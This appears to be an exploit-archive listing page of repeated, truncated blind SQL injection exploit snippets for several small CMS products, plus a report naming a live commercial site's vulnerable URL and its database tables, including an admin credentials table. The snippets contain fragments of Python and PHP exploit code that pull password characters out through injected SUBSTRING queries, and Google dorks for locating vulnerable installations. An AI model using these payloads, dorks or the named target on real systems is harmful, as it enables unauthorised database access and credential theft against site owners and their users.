Surat Diamond Blind SQL Injection

Blind sql injection found at URL: http://www.suratdiamond.com/prodcriteria.aspx Entity: matid Security Risk: It is possible to view, modify or delete database entries and tables Below are the tables found on the database admin uid username userpass 1 admin removed brochureimage Carat CartMaster...

PLE CMS 1.0 Beta 4.2 SQL Injection

--+++==============================================================+++-- --+++====== PLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit ======+++-- --+++==============================================================+++-- ". "\n+ Ex. : php xpl.php localhost /PLECMS root...

PLE CMS 1.0 beta 4.2 (login.php school) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================================== PLE CMS 1.0 beta 4.2 login.php school Blind SQL Injection Exploit ===================================================================...

PLE CMS 1.0 Beta 4.2 - Blind SQL Injection

PLE CMS 1.0 Beta 4.2 - Blind SQL Injection --+++==============================================================+++-- --+++====== PLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit ======+++-- --+++==============================================================+++-- ". "\n+ Ex. : php xpl.php localhost...

PLE CMS 1.0 beta 4.2 (login.php school) Blind SQL Injection Exploit

No description provided by source. --+++==============================================================+++-- --+++====== PLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit ======+++-- --+++==============================================================+++-- ?php function query $user, $pos, $chr $quer...

PLE CMS 1.0 Beta 4.2 - Blind SQL Injection

--+++==============================================================+++-- --+++====== PLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit ======+++-- --+++==============================================================+++-- ". "\n+ Ex. : php xpl.php localhost /PLECMS root...

Lore 1.5.6 (article.php) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ==================================================== Lore 1.5.6 article.php Blind SQL Injection Exploit ==================================================== Lore 1.5.6 Bug : article.php?id=Blind ,Comentarios Habilitados "Add Comment" Dork ...

Community CMS <= 0.4 (/index.php id) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================ Community CMS = 0.4 /index.php id Blind SQL Injection Exploit ================================================================...

Lore 1.5.6 (article.php) Blind SQL Injection Exploit

No description provided by source. ? / CURL HABILITADO Blind Sql Injections Script Version : Lore 1.5.6 Bug : article.php?id=Blind ,Comentarios Habilitados "Add Comment" Dork : intext:"Powered by Lore 1.5.6" Coded By OzXNuKE/US HTTP://FORO.UNDERSECURITY.NET HTTP://FORO.EL-HACKER.COM Gracias...

SmartSiteCMS 1.0 (articles.php var) Blind SQL Injection Exploit

No description provided by source. !/usr/bin/python import sys import re from socket import class exploit: def initself,host,path,user: self.host=host self.path=path self.user=user self.reg=re.compile"!-- END COMMENT FORM --" def setqueryself,n,ch: self.query="' OR ASCIISUBSTRINGSELECT password...

SmartSiteCMS 1.0 - Blind SQL Injection

SmartSiteCMS 1.0 - Blind SQL Injection !/usr/bin/python import sys import re from socket import class exploit: def initself,host,path,user: self.host=host self.path=path self.user=user self.reg=re.compile"" def setqueryself,n,ch: self.query="' OR ASCIISUBSTRINGSELECT password FROM users WHERE...

Community CMS 0.4 Blind SQL Injection

--+++==============================================================+++-- --+++====== Community CMS ". "\n+ Ex. : php xpl.php localhost /CommunityCMS admin". "\n+ Greetz : certaindeath". "\n\n"; if $argc != 4 usage ; $hostname = $argv 1; $path = $argv...

Lore 1.5.6 - article.php Blind SQL Injection

Lore 1.5.6 - article.php Blind SQL Injection Lore 1.5.6 Bug : article.php?id=Blind ,Comentarios Habilitados "Add Comment" Dork : intext:"Powered by Lore 1.5.6" Coded By OzXNuKE/US HTTP://FORO.UNDERSECURITY.NET HTTP://FORO.EL-HACKER.COM Gracias...

Lore 1.5.6 SQL Injection

Lore 1.5.6 Bug : article.php?id=Blind ,Comentarios Habilitados "Add Comment" Dork : intext:"Powered by Lore 1.5.6" Coded By OzXNuKE/US HTTP://FORO.UNDERSECURITY.NET HTTP://FORO.EL-HACKER.COM Gracias C1c4tr1z,Tecn0x,Lix,1995,N0b0dy,NanonRoses,Codebreak?,Nork,AzraelNuKE && Todos los Miembros de...

Community CMS &lt;= 0.4 (/index.php id) Blind SQL Injection Exploit

No description provided by source. --+++==============================================================+++-- --+++====== Community CMS = 0.4 Blind SQL Injection Exploit ======+++-- --+++==============================================================+++-- ?php function query $user, $pos, $chr $query...

SmartSiteCMS 1.0 Blind SQL Injection

!/usr/bin/python import sys import re from socket import class exploit: def initself,host,path,user: self.host=host self.path=path self.user=user self.reg=re.compile"" def setqueryself,n,ch: self.query="' OR ASCIISUBSTRINGSELECT password FROM users WHERE userName='"+self.user+"',"+strn+",1 =...

Lore 1.5.6 - 'article.php' Blind SQL Injection

Lore 1.5.6 Bug : article.php?id=Blind ,Comentarios Habilitados "Add Comment" Dork : intext:"Powered by Lore 1.5.6" Coded By OzXNuKE/US HTTP://FORO.UNDERSECURITY.NET HTTP://FORO.EL-HACKER.COM Gracias C1c4tr1z,Tecn0x,Lix,1995,N0b0dy,NanonRoses,Codebreak?,Nork,AzraelNuKE && Todos los Miembros de...

Community CMS 0.4 - 'id' Blind SQL Injection

--+++==============================================================+++-- --+++====== Community CMS ". "\n+ Ex. : php xpl.php localhost /CommunityCMS admin". "\n+ Greetz : certaindeath". "\n\n"; if $argc != 4 usage ; $hostname = $argv 1; $path = $argv 2; $user = $argv 3; $key = "abcdef0123456789";...

SmartSiteCMS 1.0 - Blind SQL Injection

!/usr/bin/python import sys import re from socket import class exploit: def initself,host,path,user: self.host=host self.path=path self.user=user self.reg=re.compile"" def setqueryself,n,ch: self.query="' OR ASCIISUBSTRINGSELECT password FROM users WHERE userName='"+self.user+"',"+strn+",1 =...

PHP-CMS 1 Blind SQL Injection Exploit

--+++===================================================+++-- --+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++-- --+++===================================================+++-- 4 return true; else return false; function usage echo "\nPHP-CMS 1 Blind SQL Injection Exploit". "\n+ Author :...